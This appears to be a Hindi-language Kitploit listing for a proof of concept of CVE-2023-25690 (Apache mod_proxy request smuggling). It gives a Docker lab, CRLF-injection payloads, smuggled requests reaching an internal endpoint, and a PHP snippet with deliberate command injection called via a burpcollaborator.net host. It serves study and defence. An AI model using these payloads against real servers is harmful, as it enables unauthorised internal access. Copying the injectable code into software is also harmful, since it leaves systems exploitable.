Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2023-25690-POC — CVE 2023 25690 प्रूफ ऑफ कॉन्सेप्ट - Apache HTTP Server संस्करण 2.4.0 - 2.4.55 पर mod_proxy की असुरक्षित कॉन्फ़िगरेशन HTTP Request Smuggling भेद्यता की ओर ले जाती है। | Kitploit
उपकरण/GitHubGitHub/oocyginxoo/cve-2023-25690-poc
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणवेब सुरक्षालर्निंग और शिक्षालैब और अभ्यास
GitHuboocyginxoo/cve-2023-25690-poc

CVE-2023-25690-POC

CVE 2023 25690 प्रूफ ऑफ कॉन्सेप्ट - Apache HTTP Server संस्करण 2.4.0 - 2.4.55 पर mod_proxy की असुरक्षित कॉन्फ़िगरेशन HTTP Request Smuggling भेद्यता की ओर ले जाती है।

रिपॉजिटरी देखें
21 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE 2023 25690 - प्रूफ ऑफ कॉन्सेप्ट

प्रकाशित: 7 मार्च 2023

आधार स्कोरगोपनीयताअखंडता प्रभावउपलब्धता प्रभाव
9.8उच्चउच्चउच्च

विषय सूची

  • एडवाइजरी विवरण
  • असुरक्षित Apache कॉन्फ़िगरेशन विश्लेषण
    • डेटा प्रवाह
  • लैब सेटअप
  • बैकएंड सेवा पर HTTP Request Splitting के कारण HTTP Request Smuggling
    • CRLF इंजेक्शन की पहचान
    • हेडर इंजेक्शन के माध्यम से आंतरिक HTTP Request Smuggling
  • प्रभाव

एडवाइजरी विवरण

Apache HTTP सर्वर संस्करण 2.4.0 से 2.4.55 पर कुछ mod_proxy कॉन्फ़िगरेशन HTTP Request Smuggling हमले की अनुमति देते हैं। कॉन्फ़िगरेशन तब प्रभावित होते हैं जब mod_proxy किसी RewriteRule या ProxyPassMatch के साथ सक्षम होता है, जिसमें एक गैर-विशिष्ट पैटर्न उपयोगकर्ता-आपूर्ति अनुरोध-लक्ष्य (URL) डेटा के कुछ हिस्से से मेल खाता है और फिर चर प्रतिस्थापन का उपयोग करके प्रॉक्सी किए गए अनुरोध-लक्ष्य में पुनः डाला जाता है। उदाहरण के लिए, कुछ इस प्रकार:

root@kitploit:~
RewriteEngine on 
RewriteRule "^/here/(.*)" "http://example.com:8080/elsewhere?$1"; [P] 
ProxyPassReverse /here/ http://example.com:8080/

अनुरोध विभाजन/स्मगलिंग के परिणामस्वरूप प्रॉक्सी सर्वर में एक्सेस नियंत्रण को बायपास किया जा सकता है, मौजूदा ओरिजिन सर्वरों पर अनपेक्षित URL प्रॉक्सी किए जा सकते हैं, और कैश विषाक्तन हो सकता है। उपयोगकर्ताओं को Apache HTTP सर्वर के कम से कम संस्करण 2.4.56 में अपडेट करने की अनुशंसा की जाती है।

https://ubuntu.com/security/CVE-2023-25690
https://security.snyk.io/vuln/SNYK-UBUNTU2210-APACHE2-3355688


असुरक्षित Apache कॉन्फ़िगरेशन विश्लेषण

Apache कॉन्फ़िगरेशन में RewriteEngine on शामिल होने से URL पुनर्लेखन इंजन सक्षम होता है। URL पुनर्लेखन एक तकनीक है जो वेब सर्वरों को सामग्री परोसने से पहले क्लाइंट के ब्राउज़र द्वारा अनुरोधित URL को गतिशील रूप से किसी भिन्न URL में बदलने की अनुमति देती है।
उदाहरण के लिए, मान लीजिए कि एक ऑनलाइन ई-शॉप के लिए हमारे पास निम्नलिखित URL संरचना है:

root@kitploit:~
https://example-shop.com/categories/1

Apache कॉन्फ़िगरेशन फ़ाइल में निम्नलिखित RewriteRule निर्देश मानते हुए:

root@kitploit:~
RewriteRule "^/categories/(.*)" "http://example-shop.com:8080/categories?id=$1" [P] 

जब कोई उपयोगकर्ता URL https://example-shop.com/categories/1 का अनुरोध करता है, तो RewriteRule URL से मेल खाएगा और रेगुलर एक्सप्रेशन ^/categories/(.*) का उपयोग करके मान 1 कैप्चर करेगा। फिर नियम कैप्चर किए गए मान को पुनर्लेखित URL में क्वेरी पैरामीटर id के रूप में जोड़कर URL को http://example-shop.com:8080/categories?id=1 में पुनर्लेखित करता है।


चूँकि नियम में [P] फ्लैग मौजूद है, Apache पुनर्लेखित URL को एक प्रॉक्सी अनुरोध के रूप में मानेगा और इसे क्वेरी पैरामीटर id के मान 1 के साथ http://example-shop.com:8080/categories पर लक्ष्य सर्वर को अग्रेषित करेगा। फिर लक्ष्य सर्वर अनुरोध को संसाधित करेगा और प्रतिक्रिया Apache को वापस भेजेगा, जो इसे क्लाइंट को अग्रेषित करेगा।

संक्षेप में, [P] फ्लैग के साथ RewriteRule निर्देश का उपयोग URL को पुनर्लेखित करने और उन्हें किसी भिन्न सर्वर पर प्रॉक्सी करने के लिए किया जाता है। इस मामले में, नियम /categories/ से शुरू होने वाले URL से मेल खाता है और कैप्चर किए गए मान को क्वेरी पैरामीटर id के रूप में पुनर्लेखित URL में जोड़ता है। Apache फिर अनुरोध को लक्ष्य सर्वर पर अग्रेषित करता है, जो अनुरोध को संसाधित करता है और प्रतिक्रिया लौटाता है।

अंत में ProxyPassReverse /categories/ http://example-shop.com:8080/ के संबंध में, यह पंक्ति बैकएंड सर्वर के डोमेन और पथ को प्रॉक्सी सर्वर के डोमेन और पथ से बदल देती है, ताकि क्लाइंट लिंक का सही ढंग से अनुसरण कर सके और प्रॉक्सी किए गए बैकएंड सर्वर से सामग्री तक ऐसे पहुँच सके जैसे वह सीधे प्रॉक्सी सर्वर से परोसी जा रही हो।

डेटा प्रवाह


लैब सेटअप

Apache में इस भेद्यता को सिम्युलेट करने के लिए हम httpd संस्करण 2.4.55 का उपयोग करेंगे। इसके अतिरिक्त, सेटअप, कॉन्फ़िगरेशन और पुनरुत्पादन में अधिक आसानी के लिए पूरी लैब को डॉकराइज़ किया जाएगा।

लैब फ़ाइल संरचना निम्नलिखित होगी:

root@kitploit:~
lab/
├── backend
│   ├── Dockerfile
│   └── src
│       ├── categories.php
│       └── index.php
├── docker-compose.yml
└── frontend
    ├── Dockerfile
    └── httpd.conf

अंतिम httpd.conf कॉन्फ़िगरेशन नीचे दिए अनुसार संरचित है:

root@kitploit:~
ErrorLog "/usr/local/apache2/logs/error.log"
CustomLog "/usr/local/apache2/logs/access.log" common

# आवश्यक मॉड्यूल लोड करें
LoadModule rewrite_module modules/mod_rewrite.so
LoadModule proxy_module modules/mod_proxy.so
LoadModule proxy_http_module modules/mod_proxy_http.so

<VirtualHost *:80>

    RewriteEngine on
    RewriteRule "^/categories/(.*)" "http://192.168.10.100:8080/categories.php?id=$1" [P]
    ProxyPassReverse "/categories/" "http://192.168.10.100:8080/"

</VirtualHost>

लैब शुरू करने के लिए docker-compose.exe up --build कमांड का उपयोग करें।

  • mod_rewrite दस्तावेज़: https://httpd.apache.org/docs/2.4/mod/mod_rewrite.html
  • mod_proxy दस्तावेज़: https://httpd.apache.org/docs/2.4/mod/mod_proxy.html

बैकएंड सेवा पर HTTP Request Splitting के कारण HTTP Request Smuggling

इस अनुभाग में, मैं समझाऊँगा कि कैसे एक CRLF इंजेक्शन आंतरिक HTTP Request Smuggling का कारण बन सकता है, जिससे एक हमलावर आंतरिक संसाधनों तक अनधिकृत पहुँच प्राप्त कर सकता है जो अन्यथा दुर्गम होते।

CRLF इंजेक्शन की पहचान

एडवाइजरी विवरण के अनुसार, httpd <=2.4.55 HTTP Response Splitting के प्रति संवेदनशील है, जिसे CRLF इंजेक्शन के रूप में भी जाना जाता है।
CRLF इंजेक्शन निम्नलिखित स्थितियों में होता है:

  • डेटा किसी अविश्वसनीय स्रोत के माध्यम से वेब एप्लिकेशन में प्रवेश करता है, जो अक्सर HTTP अनुरोध होता है।
  • डेटा को दुर्भावनापूर्ण वर्णों के लिए मान्य किए बिना वेब उपयोगकर्ता को भेजे गए HTTP प्रतिक्रिया हेडर में शामिल किया जाता है।

जिसे हमारे मामले में URL में निम्नलिखित CRLF उपसर्ग पास करके सत्यापित किया जा सकता है:

root@kitploit:~
 HTTP/1.1\r\nFoo: baarr\r\n\r\n
%20HTTP/1.1%0d%0aFoo:%20baarr

उपरोक्त उपसर्ग को URL में जोड़ने पर, परिणामी अंतिम अनुरोध इस प्रकार होगा:

root@kitploit:~
GET /categories/1%20HTTP/1.1%0d%0aFoo:%20baarr HTTP/1.1
Host: 192.168.1.103
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36

अनुरोध के बाद, सर्वर डेटा को संसाधित करेगा और 200 प्रतिक्रिया कोड लौटाएगा, जो CRLF इंजेक्शन के प्रति संवेदनशीलता दर्शाता है।

root@kitploit:~
HTTP/1.1 200 OK
Date: Mon, 22 May 2023 02:05:28 GMT
Server: Apache/2.4.54 (Debian)
X-Powered-By: PHP/7.4.33
Content-Length: 21
Content-Type: text/html; charset=UTF-8

You category ID is: 1

HTTTP Request Splitting के बारे में अधिक जानकारी यहाँ पाई जा सकती है, https://owasp.org/www-community/attacks/HTTP_Response_Splitting

हेडर इंजेक्शन के माध्यम से आंतरिक HTTP Request Smuggling

हेडर इंजेक्शन का उपयोग करके हम आंतरिक HTTP Request Smuggling करेंगे।
आइए निम्नलिखित उपसर्ग से शुरू करें:

root@kitploit:~
 HTTP/1.1\r\nHost: localhost\r\n\r\nGET /SMUGGLED
%20HTTP/1.1%0d%0aHost:%20localhost%0d%0a%0d%0aGET%20/SMUGGLED

और निम्नलिखित अनुरोध:

root@kitploit:~
GET /categories/1%20HTTP/1.1%0d%0aHost:%20localhost%0d%0a%0d%0aGET%20/SMUGGLED HTTP/1.1
Host: 192.168.1.103
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36

रीराइट नियम लागू करने पर, अनुरोध निम्नलिखित प्रारूप में रूपांतरित हो जाता है:

root@kitploit:~
GET /categories.php?id=1 HTTP/1.1
Host: localhost

GET /SMUGGLED HTTP/1.1
Host: backend

जहाँ एन्कोडेड URL को मान्य HTTP सिंटैक्स में डिकोड किया जाता है, जिससे बैकएंड डिकोड किए गए डेटा को दूसरे अनुरोध के रूप में मानता है।
मान लीजिए कि हमारे आंतरिक एप्लिकेशन में निम्नलिखित गुप्त कोड है:

root@kitploit:~
#Internal secret functionality
if(isset($_GET['secret'])){
    $secret = $_GET['secret'];

    shell_exec('nslookup ' . $secret);
}

निम्नलिखित उपसर्ग के साथ हम छिपी हुई कार्यक्षमता के लिए दूसरा अनुरोध भेजने में सक्षम हैं:

root@kitploit:~
 HTTP/1.1\r\nHost: localhost\r\n\r\nGET /categories.php?secret=im8uzc5sbq7xasyxk5yhfc734uaky9.burpcollaborator.net
%20HTTP/1.1%0d%0aHost:%20localhost%0d%0a%0d%0aGET%20/categories.php?secret=im8uzc5sbq7xasyxk5yhfc734uaky9.burpcollaborator.net
root@kitploit:~
GET /categories/1%20HTTP/1.1%0d%0aHost:%20localhost%0d%0a%0d%0aGET%20/categories.php%3fsecret%3dq0r2dkj0pyl5o0c5ydcptklbi2otci.burpcollaborator.net HTTP/1.1
Host: 192.168.1.103
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36

और बर्प कोलैबोरेटर पर अनुरोध प्राप्त करें:

पैच:

  • https://github.com/apache/httpd/commit/8789f6bb926fa4c33b4231a8444340515c82bdff
  • https://github.com/apache/httpd/commit/8b93a6512f14f5f68887ddfe677e91233ed79fb0

प्रभाव

इस भेद्यता का प्रभाव यह है कि यह हमलावरों को उन आंतरिक एप्लिकेशनों को लक्षित करने और उन तक पहुँचने की अनुमति देता है जिन्हें रिवर्स प्रॉक्सी द्वारा छिपाए जाने का इरादा होता है, जिससे संभावित रूप से अनधिकृत पहुँच, डेटा रिसाव या आगे का शोषण हो सकता है।

टूल डाउनलोड करें